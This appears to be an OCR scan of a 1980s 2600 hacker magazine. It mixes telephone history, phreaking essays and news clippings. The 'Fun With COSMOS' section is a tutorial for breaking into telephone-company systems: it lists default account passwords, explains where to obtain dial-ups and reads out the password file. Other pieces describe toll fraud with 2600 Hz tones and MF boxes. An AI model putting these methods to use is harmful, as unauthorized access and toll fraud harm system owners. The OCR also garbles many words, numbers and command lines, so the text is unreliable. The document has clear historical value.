including Canada and overseas. Right now, quite a few phreaks
in California, Hawaii, and Texas are using these toll-free loops.

| suggest that you call your local General Telephone
company and ask them the exchange of the local GTD#), then
see if you can find the number of your local switchman and try
to find out the number to the standard loop. These have to be
dialed directly, because many extenders charge when
connecting to non-suped numbers, as do some alternate long
distance companies.



THE HISTORY OF ESS

by Lex Luthor

Of all the new 1960's wonders of telephone technology—
satellites, ultra-modern Traffic Service Positions (TSPS) for
operators, the picturephone, and so on—the one that gave Bell
Labs the most trouble, and unexpectedly became the greatest
development effort in Bell System’s history, was the perfection
of an electronic switching system, or ESS. ESS should be well
known to many a technical enthusiast. It is known as the big
brother of the phone system, capable of controlling almost all
aspects of any phone call and keeping track of calling patterns.
How ESS works and what it is capable of has been covered
previously in 2600 (February, 1984) and will be covered in
future issues.

It may be recalled that such a system was the specific end in
view when the project that had culminated in the invention of
the transistor had been launched back in the 1930%s. After
successful accomplishment of that planned miracle in 194748,
further delays were brought about by financial stringency and
the need for further development of the transistor itself. In the
early 1950's, a Labs team began serious work on electronic
switching. As early as 1955, Western Electric became involved
when five engineers from the Hawthorne works were assigned
to collaborate with the Labs on the project. The president of
AT&T in 1956, wrote confidently, “ At Bell Labs, development
of the new electronic switching system is going full speed ahead.
We are sure this will lead to many improvements in service and
also to greater efficiency. The first service trial will start in
Morris, lilinois in 1959, Shortly thereafter, Kappel said that
the cost of the whole project would probably be $45 million.

But it gradually became apparent that the development of a
commercially usable electronic switching system—in effect, a
computerized telephone exchange—presented vastly greater
technical problems than had been anticipated, and that,
accordingly, Bell Labs had vastly underestimated both the time
and the investment needed to do the job. The year 1959 passed
without the promised first tnial at Morrnis, lllinois; it was finally
made in November 1960, and quickly showed how much more
work remained to be done. As time dragged on and costs
mounted, there was concern at AT&T and something
approaching panic at Bell Labs. But the project had to go
forward; by this time the investment was too great to be

sacrificed, and in any case, forward projections of increased
demand for telephone service indicated that withina few yearsa
time would come when, without the quantum leap in speed and
flexibility that electronic switching would provide, the national
network would be unable to meet the demand. In November
1963, an all-electronic switching system went into use at the
Brown Engineening Company at Cocoa Beach, Florida. But
this was a small installation, essentially another test
installation, serving only a single company. Kappel's tone on
the subject in the 1964 annual report was, for him, an almost
apologetic: “Electronic switching equipment must be
manufactured in volume to unprecedented standards of
reliability.... To turn out the equipment economically and with
good speed, mass production methods must be developed; but,
at the same time, there can be no loss of precision...." Another
year and millions of dollars later, on May 30, 1965, the first
commercial electric central office was put into service at
Succasunna, New Jersey.

Even at Succasunna, only 200 of the town’s 4,300 subscribers
initially had the benefit of electronic switching’s added speed
and additional services, such as provision for three party
conversations and automatic transfer of incoming calls. But
after that, ESS was on its way. In January 1966, the second
commercial installation, this one serving 2,900 telephones,
went into service in Chase, Maryland. By the end of 1967 there
were additional ESS offices in California, Connecticut,
Minnesota, Georgia, New Y ork, Flonida, and Pennsylvania; by
the end of 1970 there were 120 offices serving 1.8 million
customers;, and by 1974 there were 475 offices serving 5.6
million customers.

The difference between conventional switching and
electronic switching is the difference between “hardware™ and
“software™, in the former case, maintenance is done on the spot,
with screwdriver and pliers, while in the case of electronic
switching, it can be done remotely, by computer, from a central
point, making it possible to have only one or two technicians on
duty at a time at each switching center.

The development program, when the final figures were added
up, was found to have required a staggering four thousand
man-years of work at Bell Labs and to have cost not $45 million

but $500 million!



equal access may not be ‘‘equal’’ to modems

by The Shadow

Now that AT&T is being divested of its local telephone
companies, phone customers across the nation have to choose
their long distance carrier as “equal access” is phased in.
Advertising campaigns emphasize such aspects as low rates and
operator assistance, but almost no one mentions a factor that
will affect modem users who use auto dialers for long distance
calls. Not all of the alternate long distance carriers provide
called party answering supervision on all calls. Called party
answering supervision basically has the telephone company
start billing only when the called party answers the telephone.
However, many of the alternate long distance companies still
operate with the “fixed timeout ™ basis for charging. That is.ifa
call is held for a fixed length of time (usually 30 seconds), the
charging starts, whether or not the call was answered.

This could cause modem owners large bills if they use
autodialers to make long distance calls. Modems are usually set
up to wait up to one minute when attempting to make a call,
and thus have to timeout through busy signals, long call setup
sequences, extender waits, and similar problems. This could
result in many billed but unanswered calls.

Some of the other carriers provide this on calls to some cities,
and others don't support it at all. Only AT&T provides called

party answering supervision on all calls to all points presently.
It’s almost impossible to get information on how a long
distance company charges its calls as they dont want to reveal
how their billing is handled.

The alternate carriers get called party supervision when the
destination location goes equal access. However, there has been
no quick action on the part of the alternate long distance
companies to make use of the supervision data as they would
have to get equipment for passing the information back to the
billing computer at the originating point. Thus, called party
answering supervision often ends up being ignored by these
carners even when available.

The lower rates of alternate long distance companies must be
weighed against the timeout problem as it affects autodialing
modems. One way to circumvent this is merely to set your
modem to a shorter waiting-for-connect time, but this may not
provide enough time for the call to go through. You could also
claim credit for each and every one of the calls you get billed for
that doesn’t actually connect—but that can be very
time-consuming.

Keep in mind also that alternate phone companies with
primitive billing methods will often not detect short 20-second
phone calls....



The Early Phreak Days

by Jim Wood

When | decided to get married back in 1962, 1 traded my DJ
and broadcasting odd jobs for one at‘the phone company;
employment which, at that time, was ultimately secure though
my take-home pay was about 3300 a month.

Assigned to the Palo Alto, California central office as a Toll
Transmissionman, my duties included maintenance of toll
traffic circuits and related short-haul N and ON camer
equipment. Circuit testing was initiated at a black bakelite Type
17B Toll Testboard. A field of several hundred jacks gave
access to as many inter—-office trunks, many to the San Jose 4A
and Oakland 4M 4=wire switching centers.

Though it was strictly forbidden, one could easily and safely
“deadhead™ toll calls for one’s self, family or friends from the
testboard. Around Christmastime our office could easily have
been confused with the Operator room on the floor below.

The 1 7B testboard had a 0-9, DTMF keypad arranged in two
rows of 5 buttons wired to the central office “multifreq” supply.
A rack of vacuum tube L/C oscillators comprised the MF
supply and was buried somewhere in the bowels of the building.

Long days with too much (mostly union) staff and not
enough to do precipitated a lot of screwing around on the job.
Some of the guys would just daydream out the windows, others
would hassle and torment the Operators downstairs. One
favorile trick was to sneak into the access space behind the bank
of 3C swilchboards and push the cords slowly up toward the
Operators. The screams and commotion caused by a tip, ring,

and sleeve “snake™ was worth the risk of getting chewed out by
the old battleaxe who ran the place. Myself, 1 just played with
the Bell Systern; never with any intent to defraud, merely to
increase my understanding of how the whole thing worked.

It was during a singularly dull day that [ hit on the idea of
“deadheading™ calls through one of the local subscriber loop
jacks which rang into the testboard. Sure enough, 1 could
rotary-dial through the step office to Sacramento (the shortest
hop on L carrier with inband signalling), “dump™ the call in
Sacramento with a blast of 2600 from the 19c¢ oscillator
mounted overhead, then multifreq out of Sacramento
anywhere | wanted to go. Wow! 1 could hardly wait to
demonstrate this potential source of lost revenues to my first-
line supervisor. Both he and his boss were mildly impressed, but
assigned minimal importance to the event since, in their words,
“no one has a multifreq supply at home.™

Ma Bell invented the transistor but was among the last to put
it into service. One of the few placesa transistor was used in our
office was in the alarm circuit of the ON carrier system. The
13H was a wretched little “top hat™ PNP with just enough beta
towork ina bridged-T oscillator configuration. A half-dozenof
these, some Olson Radio pushbuttons, and a handful of
resistors and caps made a dandy MF supply.

The next demonstration was from the Chief’s own desk and
did finally raise some concern. | was asked to“donate™ the box
and told to keep my findings strictly to myself. I have done so
for more than 20 years now.



OUR WISHES FOR 86 AND BEYOND

Around this time of vear, we always get to thinking about
how the things around us can improve. So we assembled a few
of our writers and had them come up with some suggestions on
how technology can beiter serve everyone. We hope that these
ideas will someday be followed and we encourage our readers to
come up with additional ones, which we ll gladly print.

Uniform long distance rates. With the many advances in
maodern communications, one end result is quite obvious. It's
gotlen easier and cheaper to establish contact in all parts of the
country, and in most parts of the world. We want to see anend
to ripoff long distance rates that charge you more to call one
place when it really costs the company about the same to reach
anywhere. Why not have uniform rates to everywhere, whether
it be long distance or local? Technology is making the entire
world fit into our backyard—how about granting us some
access to it? Many of us phone phreaks have come to look at
phone calls in a different way, When you can call anywhere you
wanlt to, for as long as you want, without worrying about how
much it’s going to cost you, it all starts to take on new meaning.
You begin to realize how offensive it is to be charged for
something as basic as talking! Shouldn't we all be able to talk to
whoever we want, whenever we want, and for as long as we
want? If it were possible (as it someday will be) to have an
unlimited amount of people using telephone equipment at the
same time without tying it up, wouldn't we be better off with
this philosophy? We believe so. The telecommunications giants
can still profit handsomely without making communications a
luxury.

We're not simply after a free ride; we'd still pay something,
though not as much and not as often. We want to see advances
in technology shared by all and then perhaps we'll see some of
its real potential. Right now, there are many of us that cant
afford 1o call The White House when we want to voice our
opinion on something. The ones that can afford it have no
problem. And that's the problem here.

The time for change has arrived. After all, how can we call it
long distance if it no longer is?

Elimination of charges for touch tones. How the phone
companies get away with this is beyond us. When we use touch
tones, their equipment works faster and more peopleare able to
make calls. In fact, it is better for their equipment if customers
use touch tones. If everybody used touch tones, these
companies’ profits would soar! Yet we are still charged a
monthly fee for using them. There isn't any extra equipment to
install. They're not giving you the tones—you're the one who
sends them out. In most crossbar and step (even a few ESS)
offices, you can use a touchtone phone with no problem even if
vou're registered as “pulse™ with the phone company. The
moment you tell them you have a touch tone, you get charged.
Most ESS offices have a special device that disables your touch
tones unless you pay for them! The only thing your monthly fee
pays for is to turn off this device! We think it's time this
nonsense was stopped. Shouldnt we be encouraged to use
touch tones? Haven't they become almost a necessity, with the
growth of services that are touch tone activated, such as
reservation and voice messaging systems? This archaic policy
makes it a lot harder—particularly on those who aren't all that
wealthy—who are being denied a very basic piece of technology
for no earthly reason.

Legislation to protect bulletin boards. A lot more frequently
than many of us think, bulletin board systems are seized as
evidence of illegal activities. Our own bulletin board 1n New
Jersey was taken this past summer, and they still haven't found
anything “illegal™ on it. (A hearing scheduled for November 22
w 15 postponed two weeks by the prosecutors, who claim they
weren't told about it. The period for forfeiture has expired,
which’'means they cannot keep the equipment asa penalty. The
hearing is to decide whether the bulletin board should be
returned immediately, since no evidence of wrongdoing has
been revealed.)

Bulletin boards must be protected! They are a vital means of
communication, a resource that can be used by more people
every day. Obviously, this freedom makes some authorities a
little nervous. But its something they're going to have to get
over because bulletin boards arent going away. Neither will
they be regulated or registered, as these nervous types demand.

If there is illegal activity occurring, then the people
responsible for it should be tracked down. This doesn’t mean
pulling the plug on the service that enables them to speak. We
have to make an effort to define the difference.

At the same time, we hope to see an improvement in the
quality of bulletin boards everywhere. Nothing is more boring
and useless than a board that lists credit card numbers and
Sprint codes. What is the point? They either go bad within a day
or are monitored closely, Boards that discuss how things are
done and answer the gquestions, simple or complex, that we all
have are the boards we're fighting for, Let’s se¢ some more of
these,

Some reasonable prices on “public” services. Compuserve,
Source, Dow Jones, are you listening? Is it any wonder you're
constantly being ripped off with the outrageous prices you
charge? A session on one of these services can be a nightmare, as
every second costs you, every mistake is money out the window.
Come on already, times have changed. Enough with the
surcharges and access fees—provide affordable services for
people or go join the dinosaurs.

Access to what is being said about us. One of the most
frustrating things is to have to pay to see what TRW is telling
people about you. Any wonder why people break in? Shouldnt
it be just as easy for us to see our credit record as it is for some
schmuck at Sears?

While we're on the subject, how far are we going (o let these
people go with our credit history? Is it fair to be demed credit
because you paid a bill late four years ago? Or because you were
tried for a crime and the charges were dropped? Is it fair for

companies to analyze your buying tendencies and theorize as to
what type of person you are, and to use thar as a deciding
factor?

We feelit’s only fair that we be shown, perhaps onan annual
basis, what is being said about us and given the opportunity to
correct any errors, or at least to question or explain them. We
shouldn't have 1o pay a penny for this “privilege™.

An end to information charges. Again we're at a loss to
explain why the phone companies charge for something that
encourages using their service. If we have to pay sixty cents to
find out what someone’s phone number is in another state, and
then pay for a phone call as well, we're sure as hell going to
think twice about making the call in the first place! While it’s
true that some people would use an alternate service to make
the call, the losses to AT&T can't be that stupendous. We feel
that this is an unjustifiable charge, one that hurts everyone in
the end.

QOur suggestions include: providing one call to information
{at least) for every long distance call dialed; providing free
phone books (originally, charges for information were to
encourage people to use the phone books instead); alternate
information services for alternate carriers, i.c. a subscriber to
Skyline would have the advantage of free access to Skyline
information; or an online database where you can find out as
many numbers or cross-references as you hike via modem. We'd
like to hear more suggestions and we hope they get to the nght
people.

Nationwide access for all. If there are databases that are so
big and extensive that anyone can check our credit history from
anywhere in the country, what is stopping us from using our
bank card in New York to withdraw money while we are in Los
Angeles? When will these systems be integrated so we can all
benefit from technology? There is already statewide connection
of auto teller banking, and some limited interstate use, but
when will a national network be set up?



Fun With COSMOS

by Lex Luthor and The Legion of Doom/Hackers

COSMOS (COmputerized System for Mainframe OperationS), the
“telephone company compuier”, is a wire center adminisiration system for
subscriber services. Put another way—an inter-office memo sender. [is primary
objectives are: 1 )1o relieve the problems of congestion and long cross connection
on the Main Disiributing Frame (MFD); 2) 1o improve enitity foad balanee and
customer line equipmeni disiribution across the Wire Cenrers” switching
equipmeni; and 3 ) 1o provide an accurate and readily accessible database for wuse
by ali A T& T depariments. There is ustaally one COSM O3 system for every area
code,

You cannot enler someone's name and get their phone number through
COSMOS. What it's primarily used for is to assign central office equipment to
cable pairs and telephone numbers. It maintains records of all relevant facilitics
including subscriber cable and office equipment, process service and work
orders, and it produces bulk assignments for office additions and
rearrangements. In short, it aviomates the frame in your central office.

COSMOS prints lists at the beginning of each day, specifying what numbers
1o connect and disconnect.

Hacking Accounts

Moast COSMOS systems run on either a PDP 1145 or 11/70 made by DEC,
and can usually handle up to %6 terminals which are cither hard-wired, or
remotely dialed into the system. If you don't know your local COSMOS dial-up
or donl have an account, you can probably get one oul of your test board,
frame, or switch. They all should have the dial-up, password, and Wire Center in
YOUr area.

Typical COSMOS accounts are: MF02, PAS2, DPOE, ctc. Those 2 letter
prefixes in the beginning of the account stand for: PA—Loop Assignment
Center, DA—Network Admin Center, RS—Repair Service, MF—Frame and
Toll, FC—Frame Control Center, GA—General Inquiries, DC—Data
Conversion, NT—NTec, DP—-DisPaich, CI—CIC.

The more important accounts which are used for service order entry are, in
order of importance: ROOT, §YS, BIN, PREOP, and COSMOS.

COSMOS is the account that the test board uses, and is now mainly found on
the oMer versions of the COSNIX operating system. Typical COSMOS
passwords are: WETEST, MILK48, RINGIT.

Some accounts dont have passwords, but this is rare. Sometimes all you need
is the dial-up to get in. Whoever was last on forgot to hit CTRL-Y 1o log off, and
just hung up, 50 when you call, you gel the WCE sitting there!

Transaction Codes

Omce you log in you should get the prompt of WO where WC is the Wire
Center and % indicates that the system is on-line. From that prompt, you can
type certain commands that will enable you to do different things. The ISH or
INQ commands {inquire about a circuit) will print out information about the
number you specify, From the prompt, type ISH or INQ, then a carriage retum.
You will then have to type an H which means HUNT then TN which is the
Telephone Number 935-2481 and the system will print an underscore. You then
type a period as illustrated (what you type is in bold).

WC% ISH
H TN 9352421

TN 935-2481
5T WK PD
**ORD F24030161451
OE 003-601-401

DATE 07-16-78 TYPE B
DD 01-20-84 FDD 01-20-84

ST WK PD DATE 071678 CS IFR US IFR FEA RNNL
**ORD F24030161451 DD 01-20-84 FDD 01-20-34
LOC WCIOI4  LOC WI3-03L14/4-04
CP 451262
ST WK FD» DATE 11-02-82
**ORD F24030161451 DD 01-20-34 FDD 01-20-84
LOC WCIol0  LOC WI0-06L01/3/12

HUNT SEQUENCE FOR TN 935-M8!
TN 935-2482 TN 935-2484

*+ ISH COMPLETED 09-24-34

W%

Here is an explanation of what was printed out aboul the number 935-2481:
Lime 1: TN 935-2481 —the Telephone number that you inquired about. Line 2:
ST WK PDDATE 07-16-78 TYPE B—5T mecans STatus, WK PD 1= the
Work PerioD, the date following is when the TN 935-2481 was first installed,
and TY PE (sometimes abbreviated as TT) is the Telephone number Type, where
B is a POTs (personal number) with hunting. Hunting means that when the
number 935-2481 is busy, the call will be forwarded automatically to the next

number until it finds an idle line. The TT TYPE could be any one of the
following: B—POTs hunting, C—-Coin; G—Complex services, e.g., Direct
Inward Dialing, Radio Common Camier, etc.; O—Official (company), Q
Centrex, WATS, large PBEX's; X—POTs non-hunting. Line 3:
**ORD F14030161451 DD 01-20-84 FDD 01-20-B4—0R D stands for
service of work OR Der which has a maximum of 20 alphanumeric characters.
DD is the Due Date, and FDD is the Frame Due Date, which | assume is the Last
time the line was worked on. Line 4: OE 003-601-403—0FE stands for Operating
Exchange which inthis casc isa #1 ESS. By secing what format the OF is, you can
tell what type of central office the number is served by. Line 5:
ST WK PD DATE 07-16-78 CS IFR US IFR FEA RNNL—5T. WK,
PD were all explained in LINE 2, CS is the Customer Class of Service, 1FR
stands for Flat Rate. US is the USOC (Uniform Service Order Code) which are
identification codes used on Service Orders and Equipment records to identily
items of service or equipment. Each code consists of 3 or 5 characters. each one
being cither a letter or a number, FEA RNNL stands for Customer FEAtures:
R=Rotary, N=Non-skeeve, and L=Loop started. The typical type of line is Loop
started, a ground start is used on PBX's and such. Line 6 s a repeat of Line 3.
Line 7: LOC WC1014 LOC WI13-03L14/4-04—LOC is the LOCation. Line 8:
CP 45-1262—CP is the Cable Paird5-1262. Lines 911 have been previously
explained. Line 12: HUNT SEQUENCE FOR TN 935-2481 TN 9352482 TN
935-2484— As explained carlier, when 935-2481 1s busy, it will HUNT 1o 935-
2482, If that is busy, it will go to 2483 and so on.

You can also inquire upon the Cable Pair, by:
W% ISH
H CP 451152

The information printed will be similar to what was printed about the TN.
Faths, Files, and Drirectories
If you have a semi-privileged account, type LS /* to scc what files you have
access 10, You will probably see something similar to:

/BINM: FETC: {USR:
CP COSMIX BIM
DATE INIT COSMOS
ECHO LINES PREOP
LCASE PASSWD S0
MOTD SYSGEN 5Y5
STAT uiDs ™F

To run a program/ process just 1ype the filename at the WO prompt. I you
want 10 view a file in a directory—in this case we will use the ; BIN directory—
you would type:

W% CD /BIN

You first connect to the directory, then to print the file MOTD which stands
for Message Of The Day, type:
W% PR /MOTD

FRI APR. 10, 198411:37:16 MOTDPAGE |

ATTN: ALL USERS
MAKE SURE YOU LOG OUT PROPERLY
THANK YOU

Some files may have an™!" appended to the end of them on the older versions
of COSNIX. Those files should be text files and you should have no problem
PRinting them. Other files may be encryvpled.

1f you do not know what directory a file you are looking for is in use the FIND
{file-name) command. As shown below, PERMIT is what we arc locking for:
WO FIND PERMIT
{DEV/PERMIT

You can either connect 1o the jDEY directory then PRint the file or type:
W% PR /DEV/PERMIT

The maost looked up file would probably be the PASSWD file.

WO CAT JETC/PASSWD

ROOT:-YXMDIMME:0::/:
SYS:YXORBMBX:1:/USR/S5YS:
BIN.-TMMZAKZF.3::/ BIN:
PREOP::8:;/ USR/PREOP:
COSMOS:LEORYVE4:39:: /USR,/ TMP:/BIN/PERMIT
PAD2Z:ZSKDYET:40:/ USR / TMP:: BIN PERMIT

99 times out of 100 the passwords will be encrypted. Notice that there arc 2
colons after the PREOP account. This means that there is no password, so alter
entering PREOP at the (LOGIN: it will jump to W Ifa valid W is entered,
you will get in. The way COSMOS checks 1o see if the password is valid is: after
you enter your account, and password, the system encrypts the password you
just typed, and compares it to the encrypted password in the PASSWD file. If it -
is correct, you will be in—if not, INVALID LOGIN.
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The “2600 Flash™ column continued to be a regular feature through 1985,
having started with the very first issue the previous year. (Unlike articles,
this column wasn't a part of the “letter quality printer experiment” that last-
ed from April to August.) The collection of news stories from various sourc-
es (including ourselves) serves as a window into the world of hackers back
then, as technology, laws, and society all underwent tremendous change in
a relatively short period of time. Once again, there was a single story in the
year that was surrounded by a box and written in bold: the announcement
of our first official BBS in February. The column was shortened in August
due to a number of articles focusing on the seizure by authorities of our first
official BBS.
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IRS Wants Access to Telco Data

Jack Andersan

Paying for an unlisted telephone number may keep pests from
interrupting your dinner, but it won’t keep the revenuers off your back
if the Internal Revenue Service has its way. The IRS is considering a
proposal to plug directly into the phone company s computers to track
down delingquent taxpayers.

The tax collectors will soon begin negotiating a pilot phase of the
plan with Bell Atlantic, which covers all or parts of Pennsylvania, New
Jersey, Delaware, Maryland, Virginia, and Washington, DC. The
scheme will allow the IRS to get information directly about the phone
numbers of taxpayers who do business with Bell Atlantic.

And not only listed numbers would be tumed over to the IRS, but
closely guarded unlisted numbers as well. Eventually, the IRS hopes to
have direct access to the telephone company’s computer banks, as well,

Critics point out that as things stand now, businesses and individuals
who are asked for confidential information have the right to challenge
such a demand, and make the IRS prove its case in court. Under the
computer plug-in plan, the telephone company would already have
given IRS access to its records—without consulting anyone. Such a
plan could end up reversing the burden of proof in tax cases, forcing
the taxpaver to prove that information gathered from a variety of
SOUTcEs was Inaccurate.

Meanwhile, IRS is reportedly laying plans to supply computer data
on taxpayers to other government agencies.

GEISCO’s New Toys

S Mews Remves ML Aksamder

Information differs from other commeodities in that many people can
possess it at the same time. If one person uses some, it is not
diminished. And it's difficult to prevent people from obtaining
information without paying for it. These thoughts were offered at a
press conference on December 6, held by General Electric Information
Services Co, (GEISCO) in Rockville, MD. At the same time, the
company announced a point-to-multipoint partnership with Bonneville
Telecommunications of Salt Lake City, Utah, The resulting service will
enable companies to communicate with subscribers, dealers, or clients
at a lower cost than is now available via telephone, teletext, or mail.
The data goes out from an office to Bonneville over a telephone line.
Bonneville collects data to be distnibuted and transmats it via satellite 1o
FM radio stations around the country, which broadcast the data 1o
individual personal computers or printing terminals located within the
broadcast arca of cach radio station. The FM station rebroadcasts the
signalat 19.2 bits per second to a local office or client on the subcarrier
portion of the FM band. An error rate of 10 to the minus 6 power is
claimed by Bonneville,

Platt Global Alert, a service for people who buy tanker loads of oil,
gocs out over Bonneville's network. The customer transmits data to the
Bonneville Uplink host via a standard modem connection 1o the
terrestrial-based portion of the GE service called Mark®Net, a value
added data service.

GEISCO also announced a deal with Gannett Co. Inc. which will
allow USA Today Update, a new electronic newsline, to be distnibuted
on the GEISCO worldwide teleprocessing network. The GEISCO
network has local telephone access in over 750 cities in 25 countries at
300 or 1200 baud.

GE has a knack for putting together successful partinerships, The
company gave Ronald Reagan a new start in 1954 when no one in
Haollywood would hire him toact. He was GE's travelling salesman on
the virtues of free enterprise for several years,

GTE Hit by Divestiture

Assocuted Press

The GTE Corporation has accepted a judge’s consent decree that
requires the company to keep its long distance and local telephone
networks separate in return for the acquisition of what are now called

GTE Sprnint and GTE Spacenet.

Judge Harold H. Greene of the United States District Court in
Washington then signed the decree, making it effective immediately.

GTE announced its intention to acquire the Southern Pacific
Communications Company and the Southern Pacific Satellite Com-
pany—now GTE Sprint and GTE Spacenet, respectively —in October
1982, In order to complete the acquisition, the company agreed with
the Department of Justice in May 1983 to the entry of a consent decree.

The decree also requires GTE to provide equal access to other long
distance carriers in its local exchanges.

Fascist Computer Network

e Fost

The leader of a white supremacist group whose former member is a
suspect in the slaying of a Jewish talk-show host says neo-Nazi groups
throughout the United States and Canada are linked by a network of
home computers.

Aryan Nations leader Richard Butler of Hayden Lake, Idaho, also
said members of his group can call up a computerized list containing
the names of Jews, alleged communists, and “race traitors.”

Mewwvartk

The Ku Klux Klan has set up an electronic bulletin board that
enables computer operators to hook into the latest in neo-Nazi thought
for a 85 fee.

The “Aryan Nation Liberty Net™ offers information like the
locations of communist party offices and ZOG (Zionist Occupational
Government) informers.

“It’s a tremendous tool in the awakening of the white Christian
people to the Jewish plot to destroy the white race and Christianity,”
said Glenn Miller, leader of the North Carolina Klan, which operates
one of several such bulletin boards.

A Challenge to Hackers

The Armcharage Daily News

Most businesses [ear computer hackers. An Albany, NY company
challenges them.

Elite Software Systems Inc. makes a software program called
Encomp that encrypts information stored on computer disks, The
$99 .95 program makes the disk unreadable without the right password,
and Elite is offering $10,000 to anyone who can break its system using a
personal computer,

The company has sent out 6,000 entry forms but has received only
three replies—all wrong, says Philip Cohen, vice president of sales and
marketing. A systems analyst, he says, “called up to bust my chops”™
and outlined a way to crack the code using a million-dollar mainframe
computer. That doesn’t count, Cohen says; only personal computer
users need apply.

[We believe a number of our readers are worthy of this challenge. Go
ahead. Make us proud of vou. Elite Software Systems can be reached
at 3184824162, Keep us posted. ]

In Addition...

Cimmbired Mews Sonigces

¢ Although it had said it would try to avoid layoffs as part of a
planned reduction of 11,000 jobs announced in August, AT&T is
furloughing at least 400 workers and more layoffs are expected. The
job cuts are part of the company’s efforts to trim costs and stay
competitive after the government-mandated breakup of the Bell
System.

® The Democratic Mational Committee has moved to its new
headguarters on Capitol Hill. The Republican National Commuttee
also has headquarters near the Capitol, There may be some confusion
since the new DN.C. telephone number is 2028638000. The R.N.C.
number is 2028638500,

o New York Telephone has announced that, under new rate
proposals, the discount for personal telephone service currently
available to members of the clergy would be discontinued.
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Phreak Roundups

Unied Press Internatianal

Three teen-age computer experts face charges that they used their home
computers 1o cheat telephone companies out of hundreds of thousands of
dollars of service,

Officials of Hlinois Bell Telephone Company, who have not linished adding
up their losses, speculate the vouths began by tapping into long-distance lines of
local businesses, From there, they started using computers to bypass telephone
billing systems,

The youths also raided the American Telephone and Telegraph Company's
teleconferencing network [watch luture issues for stories on this), permitting up
10 59 partics to communicate, as well as other long distance carriers.

The young computer experts, all 15 years old, face juvenile theft charges.
Court hearings are scheduled to begin next month.

Tosoaeag Calobe amd Mail

Seven St Thomas teenagers have been arrested in Bell Canada’s crackdown
on the hundreds of Ontario computer bufls who use an illegal softwear [sic]
program o place long-distance phone calls for free.

The teenagers, two of whom are juveniles, were charged last week with theft of
telecommunications services, and possession of illegal equipment. Police raided
their homes and seized computers and softwear valued a1 37.000. Unpaid phone
calls were placed to points as far away as Florida, police said. In Windsor,
Omntario, police charged four youths with telecommunications theft early in
January. ln December, five University of Waterloo students received absalute
discharges after a judge found them guilty of the offense.

All of the charges were laid after complaints from Bell Canada, which is able
ta detect and identify ielephone pirates with its ewn computer equipment. “We
want people 10 know that there are ways and means of finding out who's
circumventing the tolls,™ said Superintendent William Lawson of the St
Thomas police.

The illegal softwear isa low-cost. high-technology version of the “blue boxes™
built by electronic hobbyists in the sixties [and deseribed in these pages)]. “It's
a relatively new phenomenon,” said James McPeak. a Bell Canada spokesman.
“These kids don know what they're doing. They think it is fun to beat the phone
company.”

TRW Breached By Non-Hackers

Lioeg lslund Mewsday

The records of TRW Information Services, which says it holds credin data on
| 20 millien Americans, have been invaded and compromised on a far-reaching
scale by adult eriminals—not just a handful of teenage hackers—according to
law enforcement officials,

On Long lsland alone, nearly 30,000 TRW reports were allegedly pilfered by
phone in 1982, a figure based ondiscrepancies in billings between TRW and two
banks, a consumer loan firm and two department stores. While three credit
collection agencics were scparately suspected in the thefts, only one—said to be
responsible for the theft of 3,000 reports—will be prosecuted, law enforcement
sources sawd.

The FBI is continuing the investigation, it has been learned, and indictments
are said to be imminent,

The collection agency is reported to have used its pilfered data to locale assets
of debtors it had been hired 1o investigate. “They [the collection agency
intruders | had a right to subseribe; they just chose tosteal the service, " said TRW
spokeswoman Delia Fernandez. A spokesman for one of the New York-based
department stores said his firm had recenved refunds of about 10,000 from
TRW because its password had been used by unauthornized indivaduals.

This Month’s Mischief and Mayhem

Los Angeles Tames

A series of phony University of Southern California degrees may have been
sold for up to $25.000 each and backed by transcripts illegally placed in the
school’s computer system.

Mhirty USC students are already under investigation for allegedly paying to
have unauthorized grade changes made on their transcripts. “Our investigation
has widened beyond grade changes,” USC Vice Provost Sylvia Manning said.
“We are now investigating the possibility that someone may have created entire
transcripts as well.”

Conmbesed] Mews NOUTES

Fans trying to call ieleviston star Tom Selleck to wish him a happy birthday
reached a Honolule morgue instead after a Boston radio station announced the
wrong phone number,

The snafu started when disc jockeys of WROR-FM came up with the idea of

having their listeners call Selleck in Hawaii and congratulate him on his 40th
birthday. The D% called directory assistance for Selleck s home phone number
but were apparently given the number for the Honolulu medical examiner's
office. By Wednesday afternoon, the medical examiner’s office repored
receivinge more than |00 calls.

“The office was out of control,” said Jovee Fujimoto, morgue attendant.
“When people found out it was the medical examiner’s office. they thought Tom
Selleck had expired. All these hysterical girls kept calling.. there were males,
ton.”

On Friday, Lorna Ozmon, WROR program director, read a statement on the
air apologizing for the confusion and saying listeners would be reimbursed for
any calls made 1o the Honolulu number on January 29,

Annicutal Pre

Because of a computer mix-up, the Middle Atlantic district office of the
Internal Revenue Service has lost the records of more than $300 million in
payroll withholding tax payments made by about 10,000 companies last fall.

I'he husinesses have been told by computer-generated notices [rom the LR.5.
that their property and bank accounts will be seized if they do not make the
pavments within 10 days. The companies are gathering official records of bank
transfers to the government so they can convinee the LR.S. that they have
already paid.

An LE.S. spokesman said the agency was trying to reconcile its records
manually.

I'he ®ew York Tunes

Plain brown envelopes ol of 100 bills are turning up in residents”maithoxes
in central Florida, according o Federal agents, who say the money s
counterfeit.

“The bills are all being mailed out of Inglewood, California,” said Donald A.
Stehbins, of the Orlando office of the United States Secret Service, “They
contain no advertising literature, no note, po return address, nothing!™

2600 Bulletin Board Online

il Mews Serviee

2600 Enterprises, Inc. now has an official computer bulletin board system
(BBS) operating 24 hours a day, 7 days a week. Operating out of New Jersey, the
board is called The Privatie Sector. Hobbyists from all over the country use the
system to converse on telecommunications topics. Now, subscribers and non-
subscribers will be able to send articles, letters, or questions to 2600 instantly.

The system supporis 300 and 1200 baud. At present, the maximum length per
article sent to 2600 is 100 lines, At command level, users can Lype “ 2600 to enter
this section. The access number is 2013664431,

According to 2600 co-founder Richard Petrovich, the bulletin board is part of
asteady expansion. “We recently acquired 5167512600 as the 2600 Hotline. Now
with the board, well improve and add to our communications even more. And
thats not the end. We're looking into all kinds of networking possibilities—
overseas bureans, that kind of thing. What's closest on the horizon right now
though is our plan for a publishing center for lengthy articles and tutorials on
phones and computers, phreaking and hacking. We've found quite a few
talented writers and this would be a way for them to have their words read in
full.”

Full details on the publishing/distribution center will be anounced in the
future. Interested writers are urged to call us. Donations will, of course, make
things happen faster.

“We have every intention of becoming as big as Exxon,” Petrovich said. " And
think what that could mean 1o the hackers of the world.”

AT&T Keeps “800™ Data To Itself

Ansnculad Pres

Ihe judge who ordered the breakup of American Telephone and Telegraph
Co. has ruled that AT&T does not have to share its sophisticated 800 database
with the competition.

U.S. District Judge Harold H, Greene has turned down a request from the
Justice Department asking that portions of AT&TS “Common Channel
Interoffice Signalling™ data be made available 1o other phone companies, new
and old, until they can develop their own systems.

